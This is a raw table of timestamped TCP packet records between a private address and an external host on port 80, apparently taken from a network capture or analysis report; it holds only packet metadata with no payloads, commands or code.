Nov 16, 2024 20:12:35.744035006 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.744057894 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.744091988 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.744124889 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.744126081 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.744158983 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.744172096 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.744194984 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.744227886 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.744237900 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.744267941 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.744313002 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.744779110 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.744813919 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.744858027 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.790210009 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.790230036 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.790256977 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.790273905 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.790273905 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.790290117 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.790306091 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.790313959 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.790343046 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.794133902 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.794162989 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.794198036 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.794214010 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.794230938 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.794281960 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.850713015 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.850785971 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.850821972 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.850848913 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.850857019 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.850908041 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.850914955 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.850950956 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.850985050 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.850995064 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.851020098 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.851056099 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.851063013 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.865037918 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.865056038 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.865071058 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.865089893 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.865098000 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.865114927 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.865128994 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.865153074 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.865168095 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.865174055 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.865192890 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.865209103 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.865211964 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.865226030 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.865241051 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.865247965 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.865281105 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.865940094 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.865983009 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.866020918 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.866044044 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.866225004 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.866261959 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.866275072 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.866302967 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.866318941 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.866341114 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.866344929 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.866456985 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.912926912 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.912967920 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.913009882 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.913022041 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.913043976 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.913079977 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.913083076 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.913113117 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.913156986 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.915926933 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.915983915 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.916028976 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.916048050 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.916064978 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.916107893 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.972255945 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.972286940 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.972304106 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.972318888 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.972328901 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.972337008 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.972361088 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.972474098 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.972511053 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.972524881 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.972541094 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.972577095 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.972790003 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.972805977 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.972822905 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.972845078 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.987011909 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.987046003 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.987063885 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.987072945 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.987081051 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.987097979 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.987107038 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.987126112 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.987143040 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.987149000 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.987159967 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.987183094 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.987463951 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.987498999 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.987512112 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.987535000 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.987576008 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.987752914 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.987787008 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.987822056 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.987831116 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.987858057 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.987900019 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.988143921 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.988193989 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.988229990 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.988238096 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:35.988265038 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.988300085 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:35.988305092 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.034771919 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.034826040 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.034826040 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.034895897 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.034929037 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.034940958 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.037678003 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.037714958 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.037727118 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.037750006 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.037789106 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.079704046 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.079727888 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.079745054 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.079767942 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.094222069 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.094269037 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.094280005 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.094321966 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.094357014 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.094367027 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.094392061 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.094425917 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.094449997 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.094558954 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.094593048 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.094626904 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.094669104 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.094868898 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.094902992 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.094934940 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.094954967 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.108472109 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.108505964 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.108521938 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.108541012 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.108581066 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.108592033 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.108627081 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.108660936 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.108666897 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.109132051 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.109184027 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.109220982 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.109277010 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.109311104 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.109318972 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.109347105 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.109380007 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.109389067 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.109415054 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.109452963 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.109457016 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.109807014 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.109854937 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.109858036 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.109894037 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.109926939 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.109939098 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.109961987 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.109994888 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.110002995 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.110033989 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.110061884 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.110080957 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.150379896 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.156869888 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.156910896 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.156946898 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.156969070 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.156980038 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.157032967 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.159658909 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.159682035 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.159698963 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.159713984 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.159723997 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.159751892 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.208534002 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.208585024 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.208623886 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.208648920 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.216192961 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.216259956 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.216288090 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.216346025 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.216394901 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.216398954 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.216430902 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.216464996 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.216478109 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.216496944 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.216541052 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.216552019 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.216597080 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.216631889 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.216644049 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.216665983 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.216706038 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.216713905 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.231165886 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.231220007 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.231221914 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.231255054 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.231287003 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.231309891 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.231343985 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.231376886 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.231400013 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.231412888 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.231450081 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.231458902 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.231586933 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.231622934 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.231635094 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.231673956 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.231710911 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.231728077 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.231745005 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.231780052 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.231792927 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.231815100 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.231849909 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.231862068 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.232588053 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.232621908 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.232656956 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.232665062 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.232702971 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.279062986 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.279087067 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.279104948 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.279129982 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.282318115 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.282344103 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.282361984 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.282366991 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.282407999 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.330840111 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.330889940 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.330979109 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.331007957 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.338056087 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.338135958 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.338161945 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.338179111 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.338196993 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.338212967 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.338232040 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.338248968 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.338267088 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.338284016 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.338303089 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.338402987 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.338697910 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.338733912 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.338752985 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.338854074 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.353048086 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.353080988 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.353096008 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.353132010 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.353164911 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.353183031 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.353203058 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.353249073 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.353708029 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.353761911 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.353799105 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.353805065 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.353854895 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.353902102 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.353909016 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.353944063 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.353980064 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.354008913 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.354013920 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.354054928 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.354064941 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.354064941 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.354105949 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.354115963 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.354571104 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.354619026 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.354621887 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.354656935 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.354690075 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.354726076 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.354734898 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.354777098 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.401597023 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.401645899 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.401684046 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.401715994 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.404570103 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.404603958 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.404618025 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.404642105 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.404684067 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.453303099 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.453352928 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.453391075 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.453413010 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.459657907 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.459693909 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:36.459714890 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:36.459729910 CET	80	49744	185.215.113.16	192.168.2.4
